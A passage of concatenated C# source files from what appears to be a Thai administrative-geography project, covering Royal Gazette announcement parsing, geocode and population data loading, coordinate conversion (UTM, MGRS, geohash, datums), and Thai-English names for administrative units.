List<UInt32> targetMubanNumbers = new List<UInt32>();
foreach ( var subEntry in content.Items )
{
var reassign = subEntry as GazetteReassign;
if ( reassign != null )
{
UInt32 targetMubanCode = reassign.geocode % 100;
if ( targetMubanCode == 0 )
{
}
else if ( targetMubanNumbers.Contains(targetMubanCode) )
{
; // This should no happen, probably mistake in XML
}
else
{
targetMubanNumbers.Add(targetMubanCode);
}
UInt32 oldMubanCode = reassign.oldgeocode % 100;
if ( (targetMubanCode != 0) & (oldMubanCode != 0) )
{
if ( targetMubanCode == oldMubanCode )
{
_mubanNumberEqual++;
}
else
{
_mubanNumberChanged++;
}
}
}
}
}
protected void AppendMubanNumberChangeInfo(StringBuilder builder)
{
Int32 total = (_mubanNumberEqual + _mubanNumberChanged);
if ( total > 0 )
{
Double percent = (100.0 * _mubanNumberEqual) / total;
builder.AppendLine(String.Format("Number of muban which kept number: {0} out of {1} ({2:0#.##}%)", _mubanNumberEqual, total, percent));
builder.AppendLine();
}
}
public override String Information()
{
StringBuilder lBuilder = new StringBuilder();
AppendBasicInfo(lBuilder);
AppendChangwatInfo(lBuilder);
AppendSubEntitiesInfo(lBuilder, "Muban");
AppendMubanNumberChangeInfo(lBuilder);
AppendParentNumberInfo(lBuilder);
AppendDayOfYearInfo(lBuilder);
String retval = lBuilder.ToString();
return retval;
}
#endregion methods
}
}<file_sep>/AHTambon/RoyalGazetteContentRename.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml;
namespace De.AHoerstemeier.Tambon
{
class RoyalGazetteContentRename : RoyalGazetteContent
{
internal const String XmlLabel = "rename";
#region properties
public String OldName { get; set; }
public String OldEnglish { get; set; }
#endregion
#region methods
internal override void DoLoad(XmlNode iNode)
{
base.DoLoad(iNode);
if (iNode != null && iNode.Name.Equals(XmlLabel))
{
OldName = TambonHelper.GetAttribute(iNode, "oldname");
OldEnglish = TambonHelper.GetAttributeOptionalString(iNode, "oldenglish");
Name = TambonHelper.GetAttribute(iNode, "name");
}
}
protected override void DoCopy(RoyalGazetteContent iOther)
{
if (iOther != null)
{
base.DoCopy(iOther);
if (iOther is RoyalGazetteContentRename)
{
RoyalGazetteContentRename iOtherRename = (RoyalGazetteContentRename)iOther;
OldName = iOtherRename.OldName;
OldEnglish = iOtherRename.OldEnglish;
}
}
}
protected override String GetXmlLabel()
{
return XmlLabel;
}
override protected void WriteToXmlElement(XmlElement iElement)
{
base.WriteToXmlElement(iElement);
if (!String.IsNullOrEmpty(OldName))
{
iElement.SetAttribute("oldname", OldName);
}
if (!String.IsNullOrEmpty(OldEnglish))
{
iElement.SetAttribute("oldenglish", OldEnglish);
}
}
#endregion
}
}
<file_sep>/TambonMain/AgeTable.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public partial class AgeTable
{
#region fixup serialization
public Boolean ShouldSerializeunknown()
{
return unknown.female != 0 || unknown.male != 0 || unknown.total != 0;
}
#endregion fixup serialization
}
}<file_sep>/TambonMain/GlobalData.cs
using System;
using System.Collections.Generic;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Windows.Forms;
using System.Xml.Serialization;
namespace De.AHoerstemeier.Tambon
{
public static class GlobalData
{
/// <summary>
/// Latest year for which the DOPA population statistics is available.
/// </summary>
public const Int32 PopulationStatisticMaxYear = 2021;
/// <summary>
/// Earliest year for which the DOPA population statistics is available.
/// </summary>
public const Int32 PopulationStatisticMinYear = 1993;
/// <summary>
/// Loads the global list of provinces.
/// </summary>
public static void LoadBasicGeocodeList()
{
var fileName = BaseXMLDirectory + "\\geocode.xml";
using ( var filestream = new FileStream(fileName, FileMode.Open, FileAccess.Read) )
{
Entity geocodes = XmlManager.XmlToEntity<Entity>(filestream, new XmlSerializer(typeof(Entity)));
var provinces = new List<Entity>();
foreach ( var entity in geocodes.entity.Where(x => x.type.IsFirstLevelAdministrativeUnit() && !x.IsObsolete) )
{
provinces.Add(entity);
}
provinces.Sort((x, y) => x.english.CompareTo(y.english));
Provinces = provinces;
geocodes.entity.Clear();
CountryEntity = geocodes;
CountryEntity.wiki = new WikiLocation
{
wikidata = WikiLocation.WikiDataItems[EntityType.Country]
};
}
}
/// <summary>
/// Gets the entity for the whole country.
/// </summary>
/// <value>The country entity.</value>
public static Entity CountryEntity
{
get;
private set;
}
/// <summary>
/// List of all gazette announcements.
/// </summary>
public static GazetteList AllGazetteAnnouncements
{
get
{
return _allGazetteAnnouncements;
}
}
/// <summary>
/// Cache to all gazette announcements.
/// </summary>
private static readonly GazetteList _allGazetteAnnouncements = new GazetteList();
/// <summary>
/// List of all provinces, without any of the sub-entities.
/// </summary>
public static IEnumerable<Entity> Provinces;
private static readonly Dictionary<UInt32, Entity> _geocodeCache = new Dictionary<UInt32, Entity>();
/// <summary>
/// Returns the tree of administrative subdivisions for a given province.
/// </summary>
/// <param name="provinceCode">TIS1099 code of the province.</param>
/// <exception cref="ArgumentOutOfRangeException"><paramref="provinceCode"/> does not refer to a valid province.</exception>
/// <returns>Tree of subdivisions.</returns>
/// <remarks>Internally caches a clone of the returned value, to load the file from disc only once.</remarks>
static public Entity GetGeocodeList(UInt32 provinceCode)
{
Entity result = null;
if ( !Provinces.Any(entry => entry.geocode == provinceCode) )
{
throw new ArgumentOutOfRangeException("provinceCode");
}
if ( _geocodeCache.Keys.Contains(provinceCode) )
{
result = _geocodeCache[provinceCode].Clone();
}
else
{
String fileName = GeocodeSourceFile(provinceCode);
if ( File.Exists(fileName) )
{
using ( var fileStream = new FileStream(fileName, FileMode.Open, FileAccess.Read) )
{
result = XmlManager.XmlToEntity<Entity>(fileStream, new XmlSerializer(typeof(Entity)));
}
_geocodeCache.Add(provinceCode, result.Clone());
}
}
return result;
}
/// <summary>
/// Returns the tree of administrative subdivisions for the whole country.
/// </summary>
/// <returns>Tree of subdivisions.</returns>
static public Entity CompleteGeocodeList()
{
var result = CountryEntity.Clone();
foreach ( var changwat in GlobalData.Provinces )
{
var actualChangwat = GetGeocodeList(changwat.geocode);
result.entity.Add(actualChangwat);
}
return result;
}
internal static String _baseXMLDirectory = Path.GetDirectoryName(Application.ExecutablePath);
public static String BaseXMLDirectory
{
get
{
return _baseXMLDirectory;
}
set
{
_baseXMLDirectory = value;
}
}
internal static String GeocodeXmlSourceDir()
{
String retval = BaseXMLDirectory + "\\geocode\\";
return retval;
}
static private String GeocodeSourceFile(UInt32 provinceGeocode)
{
String filename = GeocodeXmlSourceDir() + String.Format("geocode{0:D2}.XML", provinceGeocode);
return filename;
}
/// <summary>
/// Gets the geocode of the province to be used as the default province.
/// </summary>
public static UInt32 PreferredProvinceGeocode
{
get
{
return 84;
}
}
public static Entity LookupGeocode(UInt32 geocode)
{
var provinceCode = GeocodeHelper.ProvinceCode(geocode);
var changwat = GetGeocodeList(provinceCode);
var result = changwat.FlatList().FirstOrDefault(x => x.geocode == geocode);
return result;
}
public static Entity LoadPopulationDataUnprocessed(PopulationDataSourceType source, Int16 year)
{
Entity result = null;
if ( !GlobalData.CountryEntity.population.Any(x => x.Year == year && x.source == source) )
{
String filename = String.Empty;
switch ( source )
{
case PopulationDataSourceType.Census:
filename = BaseXMLDirectory + "\\population\\census{0}.xml";
break;
case PopulationDataSourceType.DOPA:
filename = BaseXMLDirectory + "\\population\\DOPA{0}.xml";
break;
}
filename = String.Format(CultureInfo.InvariantCulture, filename, year);
if ( !string.IsNullOrWhiteSpace(filename) )
{
result = LoadPopulationData(filename);
}
}
return result;
}
public static void LoadPopulationData(PopulationDataSourceType source, Int16 year)
{
var populationData = LoadPopulationDataUnprocessed(source, year);
if ( populationData != null )
{
MergePopulationData(populationData);
}
var geocodeToRecalculate = new List<UInt32>();
var allEntities = GlobalData.CompleteGeocodeList().FlatList();
foreach ( var item in allEntities.Where(x =>
x.newgeocode.Any() &&
x.population.Any(y => y.Year == year && y.source == source)).ToList() )
{
foreach ( var newGeocode in item.newgeocode )
{
var newItem = allEntities.FirstOrDefault(x => x.geocode == newGeocode);
if ( newItem != null )
{
if ( !newItem.IsObsolete )
{
newItem.population.Add(item.population.First(y => y.Year == year && y.source == source));
geocodeToRecalculate.AddRange(GeocodeHelper.ParentGeocodes(newItem.geocode));
}
}
}
geocodeToRecalculate.AddRange(GeocodeHelper.ParentGeocodes(item.geocode));
}
if ( source == PopulationDataSourceType.Census )
{
// For DOPA need to be done with CalculateLocalGovernmentPopulation
Entity.FillExplicitLocalGovernmentPopulation(allEntities.Where(x => x.type.IsLocalGovernment()).ToList(), allEntities, source, year);
}
foreach ( var recalculate in geocodeToRecalculate.Distinct() )
{
var entityToRecalculate = allEntities.FirstOrDefault(x => x.geocode == recalculate);
if ( entityToRecalculate != null )
{
var data = entityToRecalculate.population.FirstOrDefault(y => y.Year == year && y.source == source);
if ( data != null )
{
data.data.Clear();
foreach ( var subentity in entityToRecalculate.entity.Where(x => !x.IsObsolete) )
{
var subData = subentity.population.FirstOrDefault(y => y.Year == year && y.source == source);
if ( subData != null )
{
foreach ( var subDataPoint in subData.data )
{
data.AddDataPoint(subDataPoint);
}
}
}
data.CalculateTotal();
}
}
}
}
private static void MergePopulationData(Entity data)
{
var allFlat = CompleteGeocodeList().FlatList().Where(x => !x.type.IsCompatibleEntityType(EntityType.Muban)).ToDictionary(x => x.geocode);
var flat = data.FlatList();
var dataPoints = flat.Where(x => x.population.Any()).ToList();
foreach ( var dataPoint in dataPoints )
{
if (allFlat.TryGetValue(dataPoint.geocode, out Entity target))
{
foreach (var populationEntry in dataPoint.population)
{
if (!target.population.Any(x => x.source == populationEntry.source && x.referencedate == populationEntry.referencedate))
{
target.population.Add(populationEntry);
}
}
}
}
}
private static Entity LoadPopulationData(String fileName)
{
Entity result = null;
using ( var fileStream = new FileStream(fileName, FileMode.Open, FileAccess.Read) )
{
result = XmlManager.XmlToEntity<Entity>(fileStream, new XmlSerializer(typeof(Entity)));
var flat = result.FlatList();
// propagate population references into the sub-entities
foreach ( var entity in flat )
{
if ( entity.population.Any() && entity.entity.Any() )
{
foreach ( var population in entity.population.Where(x => x.reference.Any()) )
{
foreach ( var subEntity in entity.entity )
{
foreach ( var target in subEntity.population.Where(x => !x.reference.Any() && x.source == population.source && x.year == population.year) )
{
target.reference.AddRange(population.reference);
}
}
}
}
}
}
return result;
}
public static void LoadPopulationData()
{
foreach ( String filename in Directory.EnumerateFiles(BaseXMLDirectory + "\\population\\") )
{
var data = LoadPopulationData(filename);
MergePopulationData(data);
}
}
public static Int32 MaximumPossibleElectionYear
{
get
{
return DateTime.Now.Year + 5;
}
}
private static String pdfDirectory = Path.GetDirectoryName(Application.ExecutablePath) + "\\PDF\\";
/// <summary>
/// Gets or sets the folder to store the local cached copies of the Royal Gazette announcement PDFs.
/// </summary>
public static String PdfDirectory
{
get
{
return pdfDirectory;
}
set
{
pdfDirectory = value;
}
}
}
}<file_sep>/GeoTool/Model/GeoDataModel.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using GalaSoft.MvvmLight;
using System.ComponentModel;
using De.AHoerstemeier.Geo;
using De.AHoerstemeier.Tambon;
namespace De.AHoerstemeier.GeoTool.Model
{
// To change to ObservableObject with MVVM light 4
public class GeoDataModel : INotifyPropertyChanged
{
#region INotifyPropertyChanged Members
public event PropertyChangedEventHandler PropertyChanged;
#endregion
public const String LocationPropertyName = "Location";
private GeoPoint _location = null;
public GeoPoint Location
{
get
{
return _location;
}
set
{
if ( value != null )
{
SetGeoLocation(value.Latitude, value.Longitude);
}
}
}
public const String DatumPropertyName = "Datum";
private GeoDatum _currentGeoDatum;
public GeoDatum Datum
{
get { return _currentGeoDatum; }
set
{
if ( _currentGeoDatum == value )
{
return;
}
var oldValue = _currentGeoDatum;
_currentGeoDatum = value;
if ( _UtmPoint != null )
{
var newGeoLocation = new GeoPoint(_UtmPoint, _currentGeoDatum);
SetLocationValue(newGeoLocation, _UtmPoint);
}
// Update bindings, no broadcast
RaisePropertyChanged(DatumPropertyName);
}
}
private UtmPoint _UtmPoint = null;
public UtmPoint UtmLocation
{
get { return GetUtmPoint(); }
}
private void RaisePropertyChanged(String propertyName)
{
if ( PropertyChanged != null )
{
PropertyChanged(this, new PropertyChangedEventArgs(propertyName));
}
}
public GeoDataModel()
{
_location = GeoDataGlobals.Instance.DefaultLocation;
_currentGeoDatum = GeoDatum.DatumWGS84();
}
internal void SetGeoHash(String value)
{
GeoPoint geoPoint = null;
try
{
geoPoint = new GeoPoint();
geoPoint.GeoHash = value;
SetLocationValue(geoPoint, null);
}
catch ( ArgumentException )
{
}
}
internal Boolean GeoHashValid(String value)
{
Boolean valid = false;
try
{
var geoPoint = new GeoPoint();
geoPoint.GeoHash = value;
valid = true;
}
catch ( ArgumentException )
{
}
return valid;
}
internal void SetGeoLocation(String value)
{
GeoPoint geoPoint = null;
try
{
geoPoint = new GeoPoint(value);
SetLocationValue(geoPoint, null);
}
catch ( ArgumentException )
{
}
}
internal void SetUtmLocation(String value)
{
String myValue = TambonHelper.ReplaceThaiNumerals(value.ToUpper()).Trim();
GeoPoint geoPoint = null;
UtmPoint utmPoint = null;
try
{
utmPoint = UtmPoint.ParseUtmString(myValue);
geoPoint = new GeoPoint(utmPoint, _currentGeoDatum);
geoPoint.Datum = GeoDatum.DatumWGS84();
SetLocationValue(geoPoint, utmPoint);
}
catch ( ArgumentException )
{
}
}
private String ZoneForThailandMgrs(String value)
{
Int32 zone = 0;
Char eastingChar = value[0];
if ( (eastingChar >= 'A') && (eastingChar <= 'H') )
{
zone = 49;
}
else if ( (eastingChar >= 'J') && (eastingChar <= 'R') )
{
zone = 47;
}
else if ( (eastingChar >= 'S') && (eastingChar <= 'Z') )
{
zone = 48;
}
Char northingChar = value[1];
String northingCharacters = UtmPoint.MgrsNorthingChars(zone);
Int32 northingCount = northingCharacters.IndexOf(northingChar);
Char zoneChar;
if ( (northingCount > 17) | (northingCount == 0) )
{
zoneChar = 'Q';
}
else if ( northingCount > 8 )
{
zoneChar = 'P';
}
else
{
zoneChar = 'N';
}
String result = zone.ToString() + zoneChar;
return result;
}
internal void SetMgrsLocation(String value)
{
String myValue = TambonHelper.ReplaceThaiNumerals(value.ToUpper()).Trim();
GeoPoint geoPoint = null;
UtmPoint utmPoint = null;
try
{
if ( !TambonHelper.IsNumeric(value.Substring(0, 2)) )
{
value = ZoneForThailandMgrs(value) + value;
}
utmPoint = UtmPoint.ParseMgrsString(value);
geoPoint = new GeoPoint(utmPoint, _currentGeoDatum);
geoPoint.Datum = GeoDatum.DatumWGS84();
SetLocationValue(geoPoint, utmPoint);
}
catch ( ArgumentException )
{
}
}
private UtmPoint GetUtmPoint()
{
if ( _UtmPoint == null )
{
GeoPoint geoPointWithOtherDatum = new GeoPoint(Location);
geoPointWithOtherDatum.Datum = Datum;
_UtmPoint = geoPointWithOtherDatum.CalcUTM();
}
return _UtmPoint;
}
private void SetLocationValue(GeoPoint geoPoint, UtmPoint utmPoint)
{
_location = geoPoint;
_UtmPoint = utmPoint;
RaisePropertyChanged(LocationPropertyName);
}
internal void SetGeoLocation(Double latitude, Double longitude)
{
GeoPoint geoPoint = null;
try
{
geoPoint = new GeoPoint(latitude, longitude);
SetLocationValue(geoPoint, null);
}
catch ( ArgumentException )
{
}
}
internal void SetL7018Frame(RtsdMapFrame value)
{
if (value != null)
{
Location = value.MiddlePoint;
}
}
public RtsdMapFrame L7018Frame
{
get
{
RtsdMapFrame result = null;
try
{
result = RtsdMapIndex.IndexL7018(Location);
}
catch (ArgumentOutOfRangeException)
{ }
return result;
}
set
{
if (value != null)
{
SetL7018Frame(value);
}
}
}
}
}
<file_sep>/AHTambon/CreationStatisticsAmphoe.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Globalization;
namespace De.AHoerstemeier.Tambon
{
public class CreationStatisticsAmphoe : CreationStatisticsCentralGovernment
{
#region properties
private Int32 mNumberOfKingAmphoeCreations;
public Int32 NumberOfKingAmphoeCreations { get { return mNumberOfKingAmphoeCreations; } }
#endregion
#region constructor
public CreationStatisticsAmphoe()
{
StartYear = 1883;
EndYear = DateTime.Now.Year;
}
public CreationStatisticsAmphoe(Int32 iStartYear, Int32 iEndYear)
{
StartYear = iStartYear;
EndYear = iEndYear;
}
#endregion
#region methods
protected override void Clear()
{
base.Clear();
mNumberOfKingAmphoeCreations = 0;
}
protected override Boolean EntityFitting(EntityType iEntityType)
{
Boolean result = (iEntityType == EntityType.Amphoe) | (iEntityType == EntityType.KingAmphoe);
return result;
}
public override String Information()
{
StringBuilder lBuilder = new StringBuilder();
AppendBasicInfo(lBuilder);
AppendChangwatInfo(lBuilder);
AppendSubEntitiesInfo(lBuilder,"Tambon");
AppendParentNumberInfo(lBuilder);
AppendDayOfYearInfo(lBuilder);
String retval = lBuilder.ToString();
return retval;
}
protected override void ProcessContent(RoyalGazetteContent iContent)
{
base.ProcessContent(iContent);
RoyalGazetteContentCreate lCreate = (RoyalGazetteContentCreate)iContent;
if (lCreate.Type == EntityType.KingAmphoe)
{
mNumberOfKingAmphoeCreations++;
}
}
protected override String DisplayEntityName()
{
return "Amphoe";
}
protected override void AppendBasicInfo(StringBuilder iBuilder)
{
iBuilder.AppendLine(NumberOfAnnouncements.ToString() + " Announcements");
iBuilder.AppendLine((NumberOfCreations-NumberOfKingAmphoeCreations).ToString() + " Amphoe created");
iBuilder.AppendLine(NumberOfKingAmphoeCreations.ToString() + " King Amphoe created");
iBuilder.AppendLine("Creations per announcements: " + CreationsPerAnnouncement.MeanValue.ToString("F2", CultureInfo.InvariantCulture));
iBuilder.AppendLine("Maximum creation per announcements: " + CreationsPerAnnouncement.MaxValue.ToString());
iBuilder.AppendLine();
}
#endregion
}
}
<file_sep>/AHTambon/BoardMeetingList.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Xml;
namespace De.AHoerstemeier.Tambon
{
public class BoardMeetingList : List<BoardMeetingEntry>
{
public static BoardMeetingList Load(String iFromFile)
{
StreamReader lReader = null;
XmlDocument lXmlDoc = null;
BoardMeetingList RetVal = null;
try
{
if (!String.IsNullOrEmpty(iFromFile) && File.Exists(iFromFile))
{
lReader = new StreamReader(iFromFile);
lXmlDoc = new XmlDocument();
lXmlDoc.LoadXml(lReader.ReadToEnd());
RetVal = BoardMeetingList.Load(lXmlDoc);
}
}
finally
{
if (lReader != null)
{
lReader.Close();
}
}
return RetVal;
}
internal static void ParseNode(XmlNode iNode, BoardMeetingList ioList)
{
if (iNode.HasChildNodes)
{
foreach (XmlNode lChildNode in iNode.ChildNodes)
{
if (lChildNode.Name == "year")
{
ParseNode(lChildNode, ioList);
}
else if (lChildNode.Name == "boardmeeting")
{
ioList.Add(BoardMeetingEntry.Load(lChildNode));
}
}
}
}
internal static BoardMeetingList Load(XmlNode iNode)
{
BoardMeetingList RetVal = null;
if (iNode != null)
{
foreach (XmlNode lNode in iNode.ChildNodes)
{
if (lNode != null && lNode.Name.Equals("boardmeetings"))
{
RetVal = new BoardMeetingList();
ParseNode(lNode, RetVal);
}
}
}
return RetVal;
}
internal List<BoardMeetingTopic> mStrangeEntries = new List<BoardMeetingTopic>();
public FrequencyCounter EffectiveDateTillPublication()
{
FrequencyCounter lCounter = new FrequencyCounter();
foreach (BoardMeetingEntry lEntry in this)
{
foreach (BoardMeetingTopic lTopic in lEntry.Contents)
{
if ((lTopic.Gazette != null) && (lTopic.Effective.Year>2000))
{
TimeSpan lDiff = lTopic.TimeTillPublish();
{
Int32 lGeocode = lTopic.Topic.Geocode;
if (lGeocode == 0)
{
lGeocode = lTopic.Topic.TambonGeocode;
}
lCounter.IncrementForCount(lDiff.Days, lGeocode);
if ((lDiff.Days < 0) & (!mStrangeEntries.Contains(lTopic)))
{
mStrangeEntries.Add(lTopic);
}
}
}
}
}
return lCounter;
}
public FrequencyCounter MeetingDateTillPublication()
{
FrequencyCounter lCounter = new FrequencyCounter();
foreach (BoardMeetingEntry lEntry in this)
{
foreach (BoardMeetingTopic lTopic in lEntry.Contents)
{
if (lTopic.Gazette != null)
{
TimeSpan lDiff = lTopic.Gazette.Publication - lEntry.Date;
{
Int32 lGeocode = lTopic.Topic.Geocode;
if (lGeocode == 0)
{
lGeocode = lTopic.Topic.TambonGeocode;
}
lCounter.IncrementForCount(lDiff.Days, lGeocode);
if ((lDiff.Days < 0) & ( !mStrangeEntries.Contains(lTopic)))
{
mStrangeEntries.Add(lTopic);
}
}
}
}
}
return lCounter;
}
public FrequencyCounter MissingConstituencyAnnouncements()
{
FrequencyCounter lCounter = new FrequencyCounter();
foreach (BoardMeetingEntry lEntry in this)
{
foreach (BoardMeetingTopic lTopic in lEntry.Contents)
{
if ((lTopic.Gazette == null) & (lTopic.Topic.GetType() == typeof(RoyalGazetteContentStatus)))
{
TimeSpan lDiff = DateTime.Now - lEntry.Date;
{
Int32 lGeocode = lTopic.Topic.Geocode;
if (lGeocode == 0)
{
lGeocode = lTopic.Topic.TambonGeocode;
}
lCounter.IncrementForCount(lDiff.Days, lGeocode);
}
}
}
}
return lCounter;
}
}
}
<file_sep>/AHTambon/RoyalGazettePageinfo.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public class RoyalGazettePageinfo:IComparable,ICloneable
{
#region properties
public Int32 Page { get; set; }
public Int32 PageEnd { get; set; }
#endregion
#region methods
public override String ToString()
{
String retval = Page.ToString();
if (PageEnd > Page)
{
retval = retval + "–" + PageEnd.ToString();
}
return retval;
}
public void ParseString(String iValue)
{
int lState = 0;
foreach (String SubString in iValue.Split('-','–'))
{
switch (lState)
{
case 0:
Page = Convert.ToInt32(SubString);
break;
case 1:
PageEnd = Convert.ToInt32(SubString);
break;
default:
throw new ArgumentOutOfRangeException("Invalid page string " + iValue);
}
lState++;
}
}
internal bool IsEmpty()
{
return (Page == 0);
}
#endregion
#region constructor
public RoyalGazettePageinfo()
{
Page = 0;
PageEnd = 0;
}
public RoyalGazettePageinfo(Int32 iPage)
{
Page = iPage;
PageEnd = 0;
}
public RoyalGazettePageinfo(Int32 iPage, Int32 iPageEnd)
{
Page = iPage;
PageEnd = iPageEnd;
}
public RoyalGazettePageinfo(RoyalGazettePageinfo iValue)
{
Page = iValue.Page;
PageEnd = iValue.PageEnd;
}
public RoyalGazettePageinfo(String iValue)
{
ParseString(iValue);
}
#endregion
#region ICloneable Members
public object Clone()
{
return new RoyalGazettePageinfo(this);
}
#endregion
#region IComparable Members
public int CompareTo(object iOther)
{
if (iOther is RoyalGazettePageinfo)
{
RoyalGazettePageinfo lOther = (iOther as RoyalGazettePageinfo);
Int32 retval = Page.CompareTo(lOther.Page);
if (retval == 0)
{
if ((PageEnd != 0) & (lOther.PageEnd != 0))
{
retval = PageEnd.CompareTo(lOther.PageEnd);
}
}
return retval;
}
throw new InvalidCastException("Not a RoyalGazettePageinfo");
}
#endregion
}
}
<file_sep>/TambonMain/ThaiTranslations.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace De.AHoerstemeier.Tambon
{
public static class ThaiTranslations
{
public static Dictionary<EntityType, String> EntityNamesThai = new Dictionary<EntityType, String>()
{
{EntityType.Changwat, "จังหวัด"},
{EntityType.Amphoe, "อำเภอ" },
{EntityType.Tambon, "ตำบล"},
{EntityType.Thesaban, "เทศบาล"},
{EntityType.ThesabanNakhon, "เทศบาลนคร"},
{EntityType.ThesabanMueang, "เทศบาลเมือง"},
{EntityType.ThesabanTambon, "เทศบาลตำบล"},
{EntityType.Mueang, "เมือง"},
{EntityType.SakhaTambon, "สาขาตำบล"},
{EntityType.SakhaKhwaeng, "สาขาแขวง"},
{EntityType.Sakha, "สาขา"},
{EntityType.KingAmphoe, "กิ่งอำเภอ"},
{EntityType.Khet, "เขต"},
{EntityType.Khwaeng, "แขวง"},
{EntityType.Bangkok, "กรุงเทพมหานคร"},
{EntityType.Monthon, "มณฑล"},
{EntityType.Sukhaphiban, "สุขาภิบาล"},
{EntityType.SukhaphibanTambon, "สุขาภิบาลตำบล"},
{EntityType.SukhaphibanMueang, "สุขาภิบาลเมือง"},
{EntityType.TAO, "องค์การบริหารส่วนตำบล"},
{EntityType.PAO, "องค์การบริหารส่วนจังหวัด"},
{EntityType.SaphaTambon, "สภาตำบล"},
{EntityType.Phak, "ภาค"},
{EntityType.Muban, "บ้าน"},
{EntityType.Chumchon, "ชุมชน"},
{EntityType.KlumChangwat, "กลุ่มจังหวัด"},
{EntityType.Constituency, "เขตเลือกตั้ง"}
};
public static Dictionary<EntityType, String> EntityAbbreviations = new Dictionary<EntityType, String>()
{
{EntityType.Changwat, "จ"},
{EntityType.Amphoe, "อ" },
{EntityType.Tambon, "ต"},
{EntityType.ThesabanNakhon, "ทน"},
{EntityType.ThesabanMueang, "ทม"},
{EntityType.ThesabanTambon, "ทต"},
{EntityType.KingAmphoe, "กิ่งอ"},
{EntityType.TAO, "อบต"},
{EntityType.PAO, "อบจ"},
// Mueang, Khwaeng, Khet
};
public static Dictionary<EntityType, String> EntityNamesEnglish = new Dictionary<EntityType, String>()
{
{EntityType.Changwat, "Province"},
{EntityType.Amphoe, "District" },
{EntityType.Tambon, "Subdistrict"},
{EntityType.Thesaban, "Municipality"},
{EntityType.ThesabanNakhon, "City municipality"},
{EntityType.ThesabanMueang, "Town municipality"},
{EntityType.ThesabanTambon, "Subdistrict municipality"},
//{EntityType.Mueang, "เมือง"},
//{EntityType.SakhaTambon, "สาขาตำบล"},
//{EntityType.SakhaKhwaeng, "สาขาแขวง"},
//{EntityType.Sakha, "สาขา"},
{EntityType.KingAmphoe, "Minor district"},
{EntityType.Khet, "District"},
{EntityType.Khwaeng, "Subdistrict"},
//{EntityType.Bangkok, "กรุงเทพมหานคร"},
{EntityType.Monthon, "Circle"},
{EntityType.Sukhaphiban, "Sanitary district"},
//{EntityType.SukhaphibanTambon, "สุขาภิบาลตำบล"},
//{EntityType.SukhaphibanMueang, "สุขาภิบาลเมือง"},
{EntityType.Chumchon, "Borough"},
{EntityType.Muban, "Village"},
{EntityType.TAO, "Subdistrict administrative organization"},
{EntityType.PAO, "Provincial administrative organization"},
{EntityType.SaphaTambon, "Subdistrict council"},
{EntityType.Phak, "Region"},
{EntityType.KlumChangwat, "Province cluster"},
{EntityType.Constituency, "Constituency"}
};
}
}<file_sep>/AHGeo/GeoDatum.cs
using System;
using System.Collections.Generic;
using System.Text;
namespace De.AHoerstemeier.Geo
{
/// <summary>
/// Encapsulates a geo datum containing an ellipsoid and coordinate offsets.
/// </summary>
public class GeoDatum : ICloneable, IEquatable<GeoDatum>
{
#region properties
/// <summary>
/// Gets the name of the datum.
/// </summary>
/// <value>The name of the datum.</value>
public String Name { get; private set; }
/// <summary>
/// Gets the ellipsoid of the datum.
/// </summary>
/// <value>The ellipsoid of the the datum.</value>
public GeoEllipsoid Ellipsoid
{
get { return _Ellipsoid; }
private set { _Ellipsoid = value; }
}
private GeoEllipsoid _Ellipsoid = GeoEllipsoid.EllipsoidWGS84();
/// <summary>
/// Gets the offset in longitude from the reference ellipsoid.
/// </summary>
/// <value>The offset in longitude from the reference ellipsoid.</value>
public double DeltaX { get; private set; }
/// <summary>
/// Gets the offset in latitude from the reference ellipsoid.
/// </summary>
/// <value>The offset in latitude from the reference ellipsoid.</value>
public double DeltaY { get; private set; }
/// <summary>
/// Gets the offset in altitude from the reference ellipsoid.
/// </summary>
/// <value>The offset in altitude from the reference ellipsoid.</value>
public double DeltaZ { get; private set; }
#endregion
#region constructor
/// <summary>
/// Initializes a new instance of the GeoDatum class.
/// </summary>
/// <param name="name">Name of the geodatum.</param>
/// <param name="ellipsoid">Ellipsoid used.</param>
/// <param name="deltaXValue">Longitude offset.</param>
/// <param name="deltaYValue">Latitude offset.</param>
/// <param name="deltaZValue">Altitude offset.</param>
public GeoDatum(String name, GeoEllipsoid ellipsoid, Double deltaXValue, Double deltaYValue, Double deltaZValue)
{
Name = name;
Ellipsoid = ellipsoid;
DeltaX = deltaXValue;
DeltaY = deltaYValue;
DeltaZ = deltaZValue;
}
/// <summary>
/// Initializes a new instance of the GeoDatum class.
/// </summary>
/// <param name="value">Geodatum to copy data from.</param>
public GeoDatum(GeoDatum value)
{
Name = value.Name;
DeltaX = value.DeltaX;
DeltaY = value.DeltaY;
DeltaZ = value.DeltaZ;
Ellipsoid = (GeoEllipsoid)value.Ellipsoid.Clone();
}
#endregion
#region methods
/// <summary>
/// Geodatum for the WGS84 (GPS) ellipsoid.
/// </summary>
/// <returns>Geodatum for the WGS84 (GPS) ellipsoid.</returns>
public static GeoDatum DatumWGS84()
{
return new GeoDatum("WGS84", GeoEllipsoid.EllipsoidWGS84(), 0, 0, 0);
}
/// <summary>
/// Geodatum for the Indian 1975 datum.
/// </summary>
/// <returns>Geodatum for the Indian 1975 datum.</returns>
public static GeoDatum DatumIndian1975()
{
return new GeoDatum("Indian 1975 - Thailand", GeoEllipsoid.EllipsoidEverest(), 209, 818, 290);
}
/// <summary>
/// Geodatum for the Indian 1954 datum.
/// </summary>
/// <returns>Geodatum for the Indian 1954 datum.</returns>
public static GeoDatum DatumIndian1954()
{
return new GeoDatum("Indian 1954 - Thailand", GeoEllipsoid.EllipsoidEverest(), 218, 816, 297);
}
/// <summary>
/// Geodatum for the North American datum of 1927 (NAD27).
/// </summary>
/// <returns>Geodatum for the North American datum of 1927 (NAD27).</returns>
public static GeoDatum DatumNorthAmerican27MeanConus()
{
return new GeoDatum("North American Datum 1927 (NAD27, mean for conus)", GeoEllipsoid.EllipsoidClarke1866(), -8, 160, 176);
}
/// <summary>
/// Converts the datum into a string representation.
/// </summary>
/// <returns>The name of the datum.</returns>
public override string ToString()
{
return this.Name;
}
#endregion
#region ICloneable Members
